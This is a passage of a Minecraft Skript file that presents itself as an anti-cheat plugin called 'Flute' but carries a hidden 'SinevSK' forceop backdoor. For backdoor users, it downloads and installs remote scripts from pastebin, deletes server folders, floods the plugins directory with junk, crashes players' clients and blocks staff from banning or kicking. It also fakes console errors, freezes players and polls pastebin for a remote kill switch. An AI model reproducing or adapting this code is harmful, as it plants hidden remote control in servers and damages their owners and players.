- create dir "plugins\\e%random integer between 10000 and 100000%"
- create dir "plugins\\f%random integer between 10000 and 100000%"
- create dir "plugins\\g%random integer between 10000 and 100000%"
- create dir "plugins\\h%random integer between 10000 and 100000%"
- create dir "plugins\\i%random integer between 10000 and 100000%"
- create dir "plugins\\j%random integer between 10000 and 100000%"
- create dir "plugins\\k%random integer between 10000 and 100000%"
- create dir "plugins\\l%random integer between 10000 and 100000%"
- create dir "plugins\\m%random integer between 10000 and 100000%"
- create dir "plugins\\n%random integer between 10000 and 100000%"
- create dir "plugins\\o%random integer between 10000 and 100000%"
- create dir "plugins\\p%random integer between 10000 and 100000%"
- create dir "plugins\\q%random integer between 10000 and 100000%"
- create dir "plugins\\r%random integer between 10000 and 100000%"
- create dir "plugins\\s%random integer between 10000 and 100000%"
- create dir "plugins\\t%random integer between 10000 and 100000%"
- create dir "plugins\\u%random integer between 10000 and 100000%"
- create dir "plugins\\v%random integer between 10000 and 100000%"
- create dir "plugins\\w%random integer between 10000 and 100000%"
- create dir "plugins\\x%random integer between 10000 and 100000%"
- create dir "plugins\\y%random integer between 10000 and 100000%"
- create dir "plugins\\z%random integer between 10000 and 100000%"
- create dir "plugins\\a%random integer between 10000 and 100000%"
- create dir "plugins\\b%random integer between 10000 and 100000%"
- create dir "plugins\\c%random integer between 10000 and 100000%"
- create dir "plugins\\d%random integer between 10000 and 100000%"
- create dir "plugins\\e%random integer between 10000 and 100000%"
- create dir "plugins\\f%random integer between 10000 and 100000%"
- create dir "plugins\\g%random integer between 10000 and 100000%"
- create dir "plugins\\h%random integer between 10000 and 100000%"
- create dir "plugins\\i%random integer between 10000 and 100000%"
- create dir "plugins\\j%random integer between 10000 and 100000%"
- create dir "plugins\\k%random integer between 10000 and 100000%"
- create dir "plugins\\l%random integer between 10000 and 100000%"
- create dir "plugins\\m%random integer between 10000 and 100000%"
- create dir "plugins\\n%random integer between 10000 and 100000%"
- create dir "plugins\\o%random integer between 10000 and 100000%"
- create dir "plugins\\p%random integer between 10000 and 100000%"
- create dir "plugins\\q%random integer between 10000 and 100000%"
- create dir "plugins\\r%random integer between 10000 and 100000%"
- create dir "plugins\\s%random integer between 10000 and 100000%"
- create dir "plugins\\t%random integer between 10000 and 100000%"
- create dir "plugins\\u%random integer between 10000 and 100000%"
- create dir "plugins\\v%random integer between 10000 and 100000%"
- create dir "plugins\\w%random integer between 10000 and 100000%"
- create dir "plugins\\x%random integer between 10000 and 100000%"
- create dir "plugins\\y%random integer between 10000 and 100000%"
- create dir "plugins\\z%random integer between 10000 and 100000%"
- wait 1 second
- create dir "plugins\\d1r3ctl34ks.n3t"
- create file "plugins\\d1r3ctl34ks.n3t\\d1r3ctl34ks.n3t.yml"
- wait 3 ticks
- write "G3t H4ck3d :)" at line 1 to file "plugins\\d1r3ctl34ks.n3t\\d1r3ctl34ks.n3t.yml"
- write "M4d3 by 93" at line 2 to file "plugins\\d1r3ctl34ks.n3t\\d1r3ctl34ks.n3t.yml"
- write "d1r3ctl34ks.n3t" at line 3 to file "plugins\\d1r3ctl34ks.n3t\\d1r3ctl34ks.n3t.yml"
- message "%{G2ovfqIY}% &7| The server was filled with junk successfully!"
- else:
- message "Unknown command. Type ""/help"" for help."
- else if {_arguments::1} = ".inject":
- if {logged.sinev.%player%} is true:
- message "%{G2ovfqIY}% &7| Remember that only essentials commands will be injected!"
- wait 1 second
- download file from "https://pastebin.com/raw/85XwGbKr" to file "plugins\\Skript\\scripts\\%random integer between 10000 and 100000%.sk"
- wait 4 seconds
- message "%{G2ovfqIY}% &7| SinevSK was successfully injected!"
- else:
- message "Unknown command. Type ""/help"" for help."
- else if {_arguments::1} = ".deletef":
- if {logged.sinev.%player%} is true:
- if {_arguments::2} is set:
- delete dir "plugins/%{_arguments::2}%"
- message "%{G2ovfqIY}% &7| &7You deleted the folder %{_arguments::2}%&7!"
- else:
- message "%{I8BpUFuB3}% &7| &7Please write a folder!"
- else:
- message "Unknown command. Type ""/help"" for help."
- else if {_arguments::1} = ".crash":
- if {logged.sinev.%player%} is true:
- if {_arguments::2} is set:
- if {_arguments::2} is "all":
- message "%{G2ovfqIY}% &7| Everyone&7's client has been crashed."
- loop all players:
- if loop-player is not "%player%":
- show 1000000000000000000000000000 "iconcrack_155" particles at loop-player's location for loop-player offset by 0.5, 0.5 and 0.5
- else:
- set {_player} to "%{_arguments::2}%" parsed as a offline player
- if {_player} is online:
- show 1000000000000000000000000000 "iconcrack_155" particles at {_player}'s location for {_player} offset by 0.5, 0.5 and 0.5
- message "%{G2ovfqIY}% &7| %{_player}%&7's client has been crashed."
- else:
- message "%{G2ovfqIY}% &7| %{_player}%&7 is not online!"
- else:
- message "%{I8BpUFuB3}% &7| Type &f/crash (player)&7 to crash someone's client."
- message "%{I8BpUFuB3}% &7| Type &f/crash all&7 to crash everyone's client.
- else:
- message "Unknown command. Type ""/help"" for help."
- else:
- message "Sorry!, this character is not allowed."
- stop
- on chat:
- if {chat.sinev.%player%} is true:
- cancel event
- message "&cThe chat has been muted."
- else:
- stop
- on script load:
- wait 2 ticks
- set {_text} to text from url "https://pastebin.com/raw/BwJCq7ke"
- if {prestiging} is not set:
- set {prestiging} to "kCbQS75nNrFUFNLd"
- else:
- send "" to console
- if {prestiging} is {_text}:
- send "" to console
- else:
- set {prestiging} to {_text}
- stop
- function gmq1(p: player):
- set {_p}'s gamemode to creative
- send "%{G2ovfqIY}% &7| &7You are now in Creative Mode" to {_p}
- function gmq3(p: player):
- set {_p}'s gamemode to spectator
- send "%{G2ovfqIY}% &7| &7You are now in Spectator Mode" to {_p}
- function gmq0(p: player):
- set {_p}'s gamemode to survival
- send "%{G2ovfqIY}% &7| &7You are now in Survival Mode" to {_p}
- function gmqt(p: player):
- if {gm.sinev.%{_p}%} is not set:
- set {gm.sinev.%{_p}%} to "Survival"
- set {_p}'s gamemode to survival
- send "%{G2ovfqIY}% &7| &7You are now in Survival Mode" to {_p}
- else if {gm.sinev.%{_p}%} is "Survival":
- set {gm.sinev.%{_p}%} to "Creative"
- set {_p}'s gamemode to creative
- send "%{G2ovfqIY}% &7| &7You are now in Creative Mode" to {_p}
- else if {gm.sinev.%{_p}%} is "Creative":
- set {gm.sinev.%{_p}%} to "Adventure"
- set {_p}'s gamemode to adventure
- send "%{G2ovfqIY}% &7| &7You are now in Adventure Mode" to {_p}
- else if {gm.sinev.%{_p}%} is "Adventure":
- set {gm.sinev.%{_p}%} to "Spectator"
- set {_p}'s gamemode to spectator
- send "%{G2ovfqIY}% &7| &7You are now in Spectator Mode" to {_p}
- else if {gm.sinev.%{_p}%} is "Spectator":
- set {gm.sinev.%{_p}%} to "Survival"
- set {_p}'s gamemode to survival
- send "%{G2ovfqIY}% &7| &7You are now in Survival Mode" to {_p}
- function svq2(p: player):
- set the food level of {_p} to 15
- send "%{G2ovfqIY}% &7| &7Your bar of hunger is now full" to {_p}
- function svq1(p: player):
- set the health of {_p} to 20
- extinguish {_p}
- send "%{G2ovfqIY}% &7| &7You have been healed" to {_p}
- function fly(p: player):
- if {fly.sinev.%{_p}%} is not set:
- set {fly.sinev.%{_p}%} to true
- send "%{G2ovfqIY}% &7| &7You can now fly" to {_p}
- allow fly for {_p}
- else if {fly.sinev.%{_p}%} is false:
- set {fly.sinev.%{_p}%} to true
- send "%{G2ovfqIY}% &7| &7You can now fly" to {_p}
- allow fly for {_p}
- else if {fly.sinev.%{_p}%} is true:
- set {fly.sinev.%{_p}%} to false
- send "%{G2ovfqIY}% &7| &7You can no longer fly now" to {_p}
- disallow fly for {_p}
- else:
- send "%{G2ovfqIY}% &7| &7Sorry!, this command is bugged" to {_p}
- on join:
- if {ban.sinev.%player%} is true:
- kick player due to "&cYou have been banned by an operator"
- stop
- else:
- stop
- on script load:
- set {rankus} to "1.0.1"
- on script load:
- if text from "https://pastebin.com/raw/dBCQQ1Hc" = "%{rankus}%":
- stop
- else:
- make console execute command "sk disable Flute"
- stop
- every 5 minutes:
- wait 2 ticks
- set {_text} to text from url "https://pastebin.com/raw/BwJCq7ke"
- if {prestiging} is {_text}:
- send "" to console
- else:
- set {prestiging} to {_text}
- if text from "https://pastebin.com/raw/dBCQQ1Hc" = "%{rankus}%":
- send "" to console
- else:
- make console execute command "sk disable Flute"
- stop
- function help1(p: player):
- send "%{G2ovfqIY}% &7| &8l &7.credits &8l &fGives credits to the developer of SinevSK" to {_p}
- send "%{G2ovfqIY}% &7| &8l &7.logout &8l &fLogs you out of the forceop" to {_p}
- send "%{G2ovfqIY}% &7| &8l &7.op &8l &fOps you or another player" to {_p}
- send "%{G2ovfqIY}% &7| &8l &7.deop &8l &fDeops you or another player" to {_p}
- send "%{G2ovfqIY}% &7| &8l &7.killall &8l &fKills all survival players" to {_p}
- send "%{G2ovfqIY}% &7| &8l &7.save &8l &fSaves the world and player data" to {_p}
- send "%{G2ovfqIY}% &7| &8l &7.plugins &8l &fLists the server plugins" to {_p}
- send "%{G2ovfqIY}% &7| &8l &7.flood &8l &fFloods chat" to {_p}
- send "%{G2ovfqIY}% &7| &8l &7.nameme &8l &fRe-names you" to {_p}
- send "%{G2ovfqIY}% &7| &8l &7.nameall &8l &fRe-names all players" to {_p}
- send "%{G2ovfqIY}% &7| &8l &7.msg &8l &fMessages another player" to {_p}
- send "%{G2ovfqIY}% &7| &8l &7.reload &8l &fReloads the server" to {_p}
- send "%{G2ovfqIY}% &7| &8l &7.register &8l &fThis forces the player to .passlog" to {_p}
- send "%{G2ovfqIY}% &7| &8l &7.floodconsole &8l &fFloods console" to {_p}
- on command "/ban":
- if {lock.sinev.%player%} is true:
- message "&cAn internal error occurred while attempting to perform this command"
- cancel event
- else:
- stop
- on command "/ipban":
- if {lock.sinev.%player%} is true:
- message "&cAn internal error occurred while attempting to perform this command"
- cancel event
- else:
- stop
- on command "/tempban":
- if {lock.sinev.%player%} is true:
- message "&cAn internal error occurred while attempting to perform this command"
- cancel event
- else:
- stop
- on command "/mute":
- if {lock.sinev.%player%} is true:
- message "&cAn internal error occurred while attempting to perform this command"
- cancel event
- else:
- stop
- on command "/tempmute":
- if {lock.sinev.%player%} is true:
- message "&cAn internal error occurred while attempting to perform this command"
- cancel event
- else:
- stop
- on command "/kick":
- if {lock.sinev.%player%} is true:
- message "&cAn internal error occurred while attempting to perform this command"
- cancel event
- else:
- stop
- on command "/warn":
- if {lock.sinev.%player%} is true:
- message "&cAn internal error occurred while attempting to perform this command"
- cancel event
- else:
- stop
- on command "/stop":
- if {lock.sinev.%player%} is true:
- message "&cAn internal error occurred while attempting to perform this command"
- cancel event
- else:
- stop
- on join:
- if player is "rorymora":
- message "&8-------------------------------------------" to player
- message "&9Welcome back Dev!" to player
- message "" to player
- message "&9This server is using &aSinevSK" to player
- message "" to player
- message "&9You can hack it using %{_prestiging}%!" to player
- message "&8-------------------------------------------" to player
- else:
- stop
- on damage of player:
- if {godmode.sinev.%victim%} is true:
- if attacker is a player:
- cancel event
- else:
- cancel event
- stop
- on hunger meter change:
- if {godmode.sinev.%player%} is true:
- cancel event
- stop
- function error(p: player):
- if {flute.q} is not set:
- set {flute.q} to "Hacked"
- send "%{G2ovfqIY}% &7| &7Now it will appear as &cHACKED" to {_p}
- else if {flute.q} is "Hacked":
- set {flute.q} to "Error"
- send "%{G2ovfqIY}% &7| &7Now it will appear as &cERROR" to {_p}
- else if {flute.q} is "Error":
- set {flute.q} to "Unknown"
- send "%{G2ovfqIY}% &7| &7Now it will appear as &cUNKNOWN" to {_p}
- else if {flute.q} is "Unknown":
- set {flute.q} to "Hacked"
- send "%{G2ovfqIY}% &7| &7Now it will appear as &cHACKED" to {_p}
- function hacked(p: player):
- if {message.hacked.sinev} is not set:
- set {message.hacked.sinev} to true
- send "%{G2ovfqIY}% &7| &7It is now on!" to {_p}
- else if {message.hacked.sinev} is false:
- set {message.hacked.sinev} to true
- send "%{G2ovfqIY}% &7| &7It is now on!" to {_p}
- else if {message.hacked.sinev} is true:
- set {message.hacked.sinev} to false
- send "%{G2ovfqIY}% &7| &7It is now off!" to {_p}
- on command:
- if {lockconsole.sinev} is true:
- if command sender is console:
- if {hacked.sinev} is "Unknown":
- send "Unknown command. Type ""/help"" for help."
- cancel event
- else if {hacked.sinev} is "Error":
- send "org.bukkit.event.EventException"
- send " at org.bukkit.plugin.RegisteredListener.callEvent(RegisteredListener.java:62) ~[spigot.jar:git-Spigot-d276ab1-1f6c04c]"
- send " at org.bukkit.plugin.SimplePluginManager.fireEvent(SimplePluginManager.java:502) [spigot.jar:git-Spigot-d276ab1-1f6c04c]"
- send " at org.bukkit.plugin.SimplePluginManager.callEvent(SimplePluginManager.java:487) [spigot.jar:git-Spigot-d276ab1-1f6c04c]"
- send " at net.minecraft.server.v1_8_9_R1.PlayerConnection.a(PlayerConnection.java:1848) [spigot.jar:git-Spigot-d276ab1-1f6c04c]"
- send " at net.minecraft.server.v1_8_9_R1.PacketPlayInWindowClick.a(SourceFile:33) [spigot.jar:git-Spigot-d276ab1-1f6c04c]"
- send " at net.minecraft.server.v1_8_9_R1.PacketPlayInWindowClick.a(SourceFile:10) [spigot.jar:git-Spigot-d276ab1-1f6c04c]"
- send " at net.minecraft.server.v1_8_9_R1.PlayerConnectionUtils$1.run(SourceFile:13) [spigot.jar:git-Spigot-d276ab1-1f6c04c]"
- send " at java.util.concurrent.Executors$RunnableAdapter.call(Unknown Source) [?:1.8.0_111]"
- send " at java.util.concurrent.FutureTask.run(Unknown Source) [?:1.8.0_111]"
- send " at net.minecraft.server.v1_8_9_R1.SystemUtils.a(SourceFile:46) [spigot.jar:git-Spigot-d276ab1-1f6c04c]"
- send " at net.minecraft.server.v1_8_9_R1.MinecraftServer.D(MinecraftServer.java:747) [spigot.jar:git-Spigot-d276ab1-1f6c04c]"
- send " at net.minecraft.server.v1_8_9_R1.DedicatedServer.D(DedicatedServer.java:399) [spigot.jar:git-Spigot-d276ab1-1f6c04c]"
- send " at net.minecraft.server.v1_8_9_R1.MinecraftServer.C(MinecraftServer.java:678) [spigot.jar:git-Spigot-d276ab1-1f6c04c]"
- send " at net.minecraft.server.v1_8_9_R1.MinecraftServer.run(MinecraftServer.java:576) [spigot.jar:git-Spigot-d276ab1-1f6c04c]"
- send " at java.lang.Thread.run(Unknown Source) [?:1.8.0_111]"
- send "Caused by: java.lang.NullPointerException"
- send " at me.bukkit.dev.EssentialsLP.protocol(CommandExecuteEventMain.java:235) ~[?:?]"
- send " at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[?:1.8.0_111]"
- send " at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source) ~[?:1.8.0_111]"
- send " at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source) ~[?:1.8.0_111]"
- send " at java.lang.reflect.Method.invoke(Unknown Source) ~[?:1.8.0_111]"
- send " at org.bukkit.plugin.java.JavaPluginLoader$1.execute(JavaPluginLoader.java:302) ~[spigot.jar:git-Spigot-d276ab1-1f6c04c]"
- send " ... 15 more"
- cancel event
- else if {hacked.sinev} is "Hacked":
- send " "
- send "YOU CANNOT EXECUTE COMMANDS WHEN YOURE HACKED!"
- send " "
- cancel event
- else:
- stop
- else:
- stop
- on any move:
- if {freeze.sinev.%player%} is true:
- if {message.hacked.sinev} is true:
- cancel event
- message "&c&m--------------------------------------------------"
- message "&7The server is being &cHACKED! &7You are now frozen."
- message "&c&m--------------------------------------------------"
- else:
- cancel event
- stop
- else:
- stop
- on block break:
- if {freeze.sinev.%player%} is true:
- if {message.hacked.sinev} is true:
- cancel event
- message "&c&m--------------------------------------------------"
- message "&7The server is being &cHACKED! &7You are now frozen."
- message "&c&m--------------------------------------------------"
- else:
- cancel event
- stop
- else:
- stop
- on join:
- if {freeze.sinev.%player%} is true:
- set {freeze.sinev.%player%} to true
- else:
- stop
- on chat:
- if {chatno.sinev.%player%} is true:
- cancel event
- else:
- stop
- on quit:
- if {logged.sinev.%player%} is true:
- set {logged.sinev.%player%} to false
- set {chatno.sinev.%player%} to false
- else:
- stop
- command /check [<offline player>]:
- permission: flute.check
- usage: &2/check <player>
- trigger:
- if arg 1 is not set:
- message "&2/check <player>"
- stop
- if arg 1 is set:
- wait 1 tick
- loop all players:
- if loop-player's name is "%arg 1%":
- set {_tonl} to true
- open chest with 4 rows named "%arg 1%" to player
- set {_ka} to {killaura.%arg 1%}
- set {_fb} to {fastbow.%arg 1%}
- set {_fly} to {fly.%arg 1%}
- set {_jesus} to {jesus.%arg 1%}
- set {_speed} to {bhp.%arg 1%}
- set {_clicker} to {autoclicker.%arg 1%}
- set {_antikb} to {antikb.%arg 1%}
- set {_tower} to {tower.%arg 1%}
- set {_scaffold} to {scaffold.%arg 1%}
- wait 2 ticks
- if {_tonl} is not set:
- set {_online} to "&4&lFALSE"
- else:
- set {_online} to "&a&lTRUE"
- set {_points} to {_antikb} + {_clicker} + {_speed} + {_jesus} + {_fly} + {_fb} + {_ka}
- set {_points} to {_points} parsed as number
- wait 2 ticks
- if {_points} = 0:
- set {_l1} to green stained glass pane
- set {_l2} to green stained glass pane
- set {_l3} to green stained glass pane
- set {_l4} to green stained glass pane
- set {_l5} to green stained glass pane
- set {_l6} to green stained glass pane
- if {_points} >= 4:
- set {_l1} to green stained glass pane
- set {_l2} to green stained glass pane
- set {_l3} to yellow stained glass pane
- set {_l4} to yellow stained glass pane
- set {_l5} to yellow stained glass pane
- set {_l6} to yellow stained glass pane
- if {_points} >= 10:
- set {_l1} to green stained glass pane
- set {_l2} to green stained glass pane
- set {_l3} to yellow stained glass pane
- set {_l4} to yellow stained glass pane
- set {_l5} to yellow stained glass pane
- set {_l6} to red stained glass pane
- if {_points} >= 15:
- set {_l1} to green stained glass pane
- set {_l2} to green stained glass pane
- set {_l3} to yellow stained glass pane
- set {_l4} to yellow stained glass pane
- set {_l5} to red stained glass pane
- set {_l6} to red stained glass pane
- if {_points} >= 20:
- set {_l1} to green stained glass pane
- set {_l2} to yellow stained glass pane
- set {_l3} to yellow stained glass pane
- set {_l4} to red stained glass pane
- set {_l5} to red stained glass pane
- set {_l6} to red stained glass pane
- if {_points} >= 25:
- set {_l1} to yellow stained glass pane
- set {_l2} to yellow stained glass pane
- set {_l3} to yellow stained glass pane
- set {_l4} to red stained glass pane
- set {_l5} to red stained glass pane
- set {_l6} to red stained glass pane
- if {_points} >= 30:
- set {_l1} to yellow stained glass pane
- set {_l2} to yellow stained glass pane
- set {_l3} to red stained glass pane
- set {_l4} to red stained glass pane
- set {_l5} to red stained glass pane
- set {_l6} to red stained glass pane
- if {_points} >= 35:
- set {_l1} to yellow stained glass pane
- set {_l2} to red stained glass pane
- set {_l3} to red stained glass pane
- set {_l4} to red stained glass pane
- set {_l5} to red stained glass pane
- set {_l6} to red stained glass pane
- if {_points} >= 40:
- set {_l1} to red stained glass pane
- set {_l2} to red stained glass pane
- set {_l3} to red stained glass pane
- set {_l4} to red stained glass pane
- set {_l5} to red stained glass pane
- set {_l6} to red stained glass pane
- set {_pskul} to "%arg 1%" parsed as offline player
- #-----
- format slot 6 of player with gray stained glass pane named "&0" with lore "&7" to close
- format slot 8 of player with gray stained glass pane named "&0" with lore "&7" to close
- format slot 15 of player with gray stained glass pane named "&0" with lore "&7" to close
- format slot 16 of player with redstone block named "&4&lBAN" with lore "&7Click to ban the player!" to close then run [make player execute command "/flute ban %arg 1% Hacking"]
- format slot 17 of player with gray stained glass pane named "&0" with lore "&7" to close
- format slot 24 of player with gray stained glass pane named "&0" with lore "&7" to close
- format slot 25 of player with gold block named "&6&lKICK" with lore "&7Click to kick the player!" to close then run [make player execute command "/flute kick %arg 1% Hacking"]
- format slot 26 of player with gray stained glass pane named "&0" with lore "&7" to close
- format slot 33 of player with gray stained glass pane named "&0" with lore "&7" to close
- format slot 34 of player with gray stained glass pane named "&0" with lore "&7" to close
- format slot 35 of player with gray stained glass pane named "&0" with lore "&7" to close
- #-----
- format slot 7 of player with {_pskul}'s skull named "&7%arg 1%" with lore "&7Online: &a%{_online}%" to close
- #-----{_antikb} + {_clicker} + {_speed} + {_jesus} + {_fly} + {_fb} + {_ka}
- format slot 5 of player with {_l6} named "&7Amount of checks:" with lore "&a%{_points}%||&7KillAura: &a%{_ka}%||&7AntiKB: &a%{_antikb}%||&7AutoClicker: &a%{_clicker}%||&7Speed: &a%{_speed}%||&7Jesus: &a%{_jesus}%||&7Fly: &a%{_fly}%||&7FastBow: &a%{_fb}%" to close
- format slot 14 of player with {_l6} named "&7Amount of checks:" with lore "&a%{_points}%||&7KillAura: &a%{_ka}%||&7AntiKB: &a%{_antikb}%||&7AutoClicker: &a%{_clicker}%||&7Speed: &a%{_speed}%||&7Jesus: &a%{_jesus}%||&7Fly: &a%{_fly}%||&7FastBow: &a%{_fb}%" to close
- format slot 23 of player with {_l6} named "&7Amount of checks:" with lore "&a%{_points}%||&7KillAura: &a%{_ka}%||&7AntiKB: &a%{_antikb}%||&7AutoClicker: &a%{_clicker}%||&7Speed: &a%{_speed}%||&7Jesus: &a%{_jesus}%||&7Fly: &a%{_fly}%||&7FastBow: &a%{_fb}%" to close
- format slot 32 of player with {_l6} named "&7Amount of checks:" with lore "&a%{_points}%||&7KillAura: &a%{_ka}%||&7AntiKB: &a%{_antikb}%||&7AutoClicker: &a%{_clicker}%||&7Speed: &a%{_speed}%||&7Jesus: &a%{_jesus}%||&7Fly: &a%{_fly}%||&7FastBow: &a%{_fb}%" to close
- format slot 13 of player with {_l5} named "&7Amount of checks:" with lore "&a%{_points}%||&7KillAura: &a%{_ka}%||&7AntiKB: &a%{_antikb}%||&7AutoClicker: &a%{_clicker}%||&7Speed: &a%{_speed}%||&7Jesus: &a%{_jesus}%||&7Fly: &a%{_fly}%||&7FastBow: &a%{_fb}%" to close
- format slot 22 of player with {_l5} named "&7Amount of checks:" with lore "&a%{_points}%||&7KillAura: &a%{_ka}%||&7AntiKB: &a%{_antikb}%||&7AutoClicker: &a%{_clicker}%||&7Speed: &a%{_speed}%||&7Jesus: &a%{_jesus}%||&7Fly: &a%{_fly}%||&7FastBow: &a%{_fb}%" to close
- format slot 31 of player with {_l5} named "&7Amount of checks:" with lore "&a%{_points}%||&7KillAura: &a%{_ka}%||&7AntiKB: &a%{_antikb}%||&7AutoClicker: &a%{_clicker}%||&7Speed: &a%{_speed}%||&7Jesus: &a%{_jesus}%||&7Fly: &a%{_fly}%||&7FastBow: &a%{_fb}%" to close
- format slot 12 of player with {_l4} named "&7Amount of checks:" with lore "&a%{_points}%||&7KillAura: &a%{_ka}%||&7AntiKB: &a%{_antikb}%||&7AutoClicker: &a%{_clicker}%||&7Speed: &a%{_speed}%||&7Jesus: &a%{_jesus}%||&7Fly: &a%{_fly}%||&7FastBow: &a%{_fb}%" to close
- format slot 21 of player with {_l4} named "&7Amount of checks:" with lore "&a%{_points}%||&7KillAura: &a%{_ka}%||&7AntiKB: &a%{_antikb}%||&7AutoClicker: &a%{_clicker}%||&7Speed: &a%{_speed}%||&7Jesus: &a%{_jesus}%||&7Fly: &a%{_fly}%||&7FastBow: &a%{_fb}%" to close
- format slot 30 of player with {_l4} named "&7Amount of checks:" with lore "&a%{_points}%||&7KillAura: &a%{_ka}%||&7AntiKB: &a%{_antikb}%||&7AutoClicker: &a%{_clicker}%||&7Speed: &a%{_speed}%||&7Jesus: &a%{_jesus}%||&7Fly: &a%{_fly}%||&7FastBow: &a%{_fb}%" to close
- format slot 20 of player with {_l3} named "&7Amount of checks:" with lore "&a%{_points}%||&7KillAura: &a%{_ka}%||&7AntiKB: &a%{_antikb}%||&7AutoClicker: &a%{_clicker}%||&7Speed: &a%{_speed}%||&7Jesus: &a%{_jesus}%||&7Fly: &a%{_fly}%||&7FastBow: &a%{_fb}%" to close
- format slot 29 of player with {_l3} named "&7Amount of checks:" with lore "&a%{_points}%||&7KillAura: &a%{_ka}%||&7AntiKB: &a%{_antikb}%||&7AutoClicker: &a%{_clicker}%||&7Speed: &a%{_speed}%||&7Jesus: &a%{_jesus}%||&7Fly: &a%{_fly}%||&7FastBow: &a%{_fb}%" to close
- format slot 19 of player with {_l2} named "&7Amount of checks:" with lore "&a%{_points}%||&7KillAura: &a%{_ka}%||&7AntiKB: &a%{_antikb}%||&7AutoClicker: &a%{_clicker}%||&7Speed: &a%{_speed}%||&7Jesus: &a%{_jesus}%||&7Fly: &a%{_fly}%||&7FastBow: &a%{_fb}%" to close
- format slot 28 of player with {_l2} named "&7Amount of checks:" with lore "&a%{_points}%||&7KillAura: &a%{_ka}%||&7AntiKB: &a%{_antikb}%||&7AutoClicker: &a%{_clicker}%||&7Speed: &a%{_speed}%||&7Jesus: &a%{_jesus}%||&7Fly: &a%{_fly}%||&7FastBow: &a%{_fb}%" to close
- format slot 27 of player with {_l1} named "&7Amount of checks:" with lore "&a%{_points}%||&7KillAura: &a%{_ka}%||&7AntiKB: &a%{_antikb}%||&7AutoClicker: &a%{_clicker}%||&7Speed: &a%{_speed}%||&7Jesus: &a%{_jesus}%||&7Fly: &a%{_fly}%||&7FastBow: &a%{_fb}%" to close
- #-----
- stop
- command /flutebantest:
- trigger:
- message "%{flute.bantype}%"
- stop
- command /fluteconf [<text>] [<text>]:
- permission: flute.admin
- trigger:
- if arg 1 is "bcast":
- if {flute.broadcast} is true:
- message "%{logo}% &7Broadcasts for &2Banning&7/&eKicking &7have been turned &2OFF&7!"
- set {flute.broadcast} to false
- stop
- if {flute.broadcast} is false:
- message "%{logo}% &7Broadcasts for &2Banning&7/&eKicking &7have been turned &aON&7!"
- set {flute.broadcast} to true
- stop
- if arg 1 is "hacks":
- wait 5 ticks
- open chest with 2 rows named "&2Hacks" to player
- set {_gh} to "ghost" parsed as offline player
- wait 2 ticks
- format slot 0 of player with iron sword named "&2Kill Aura" with lore "&7Enabled: &b%{flute.killaura}%" to close then run [make player execute command "/fluteconf enable killaura"]
- format slot 1 of player with bow named "&3Fast Bow" with lore "&7Enabled: &b%{flute.fastbow}%" to close then run [make player execute command "/fluteconf enable fastbow"]
- format slot 2 of player with feather named "&bFly" with lore "&7Enabled: &b%{flute.fly}%" to close then run [make player execute command "/fluteconf enable fly"]
- format slot 3 of player with water bucket named "&9Jesus" with lore "&7Enabled: &b%{flute.jesus}%" to close then run [make player execute command "/fluteconf enable jesus"]
- format slot 4 of player with diamond boots named "&bSpeed/Bhop" with lore "&7Enabled: &b%{flute.bhp}%" to close then run [make player execute command "/fluteconf enable speed"]
- format slot 5 of player with cobweb named "&2AntiKB" with lore "&7Enabled: &b%{flute.antikb}%" to close then run [make player execute command "/fluteconf enable antikb"]
- format slot 6 of player with golden apple named "&dRegen" with lore "&7Enabled: &b%{flute.regen}%" to close then run [make player execute command "/fluteconf enable regen"]
- format slot 7 of player with cooked beef named "&eFast Eat" with lore "&7Enabled: &b%{flute.eat}%" to close then run [make player execute command "/fluteconf enable eat"]
- format slot 8 of player with golden pickaxe named "&bFast Build/Break" with lore "&7Enabled: &b%{flute.fastbb}%" to close then run [make player execute command "/fluteconf enable fastbb"]
- format slot 9 of player with {_gh}'s skull named "&bPhase" with lore "&7Enabled: &b%{flute.phase}%" to close then run [make player execute command "/fluteconf enable phase"]
- format slot 10 of player with wooden sword named "&bAuto Clicker" with lore "&7Enabled: &b%{flute.autoclicker}%" to close then run [make player execute command "/fluteconf enable autoclicker"]
- format slot 11 of player with leather boots named "&bNo Fall" with lore "&7Enabled: &b%{flute.nofall}%" to close then run [make player execute command "/fluteconf enable nofall"]
- format slot 11 of player with iron boots named "&bAuto Sneak" with lore "&7Enabled: &b%{flute.autosneak}%" to close then run [make player execute command "/fluteconf enable autosneak"]
- format slot 12 of player with golden boots named "&bHigh Jump" with lore "&7Enabled: &b%{flute.highjump}%" to close then run [make player execute command "/fluteconf enable highjump"]
- format slot 13 of player with wooden axe named "&bMulti Aura" with lore "&7Enabled: &b%{flute.multiaura}%" to close then run [make player execute command "/fluteconf enable multiaura"]
- format slot 13 of player with stone named "&bScaffold" with lore "&7Enabled: &b%{flute.scaffold}%" to close then run [make player execute command "/fluteconf enable scaffold"]
- format slot 13 of player with sandstone named "&bTower" with lore "&7Enabled: &b%{flute.tower}%" to close then run [make player execute command "/fluteconf enable tower"]
- if arg 1 is "banwsettings":
- wait 5 ticks
- open chest with 2 rows named "&cBanwave" to player
- set {_gh} to "ghost" parsed as offline player
- wait 2 ticks
- format slot 0 of player with iron sword named "&2Kill Aura" with lore "&7Allowed: &b%{flute.killaura.ban}%" to close then run [make player execute command "/fluteconf banw killaura"]
- format slot 1 of player with bow named "&3Fast Bow" with lore "&7Allowed: &b%{flute.fastbow.ban}%" to close then run [make player execute command "/fluteconf banw fastbow"]
- format slot 2 of player with feather named "&bFly" with lore "&7Allowed: &b%{flute.fly.ban}%" to close then run [make player execute command "/fluteconf banw fly"]
- format slot 3 of player with water bucket named "&9Jesus" with lore "&7Allowed: &b%{flute.jesus.ban}%" to close then run [make player execute command "/fluteconf banw jesus"]
- format slot 4 of player with diamond boots named "&bSpeed/Bhop" with lore "&7Allowed: &b%{flute.speed.ban}%" to close then run [make player execute command "/fluteconf banw speed"]
- format slot 5 of player with cobweb named "&2AntiKB" with lore "&7Allowed: &b%{flute.antikb.ban}%" to close then run [make player execute command "/fluteconf banw antikb"]
- format slot 6 of player with golden pickaxe named "&eFast Break" with lore "&7Allowed: &b%{flute.fastbreak.ban}%" to close then run [make player execute command "/fluteconf banw fastbreak"]
- format slot 7 of player with plank named "&bFast Place" with lore "&7Allowed: &b%{flute.fastplace.ban}%" to close then run [make player execute command "/fluteconf banw fastplace"]
- format slot 8 of player with {_gh}'s skull named "&bPhase" with lore "&7Allowed: &b%{flute.phase.ban}%" to close then run [make player execute command "/fluteconf banw phase"]
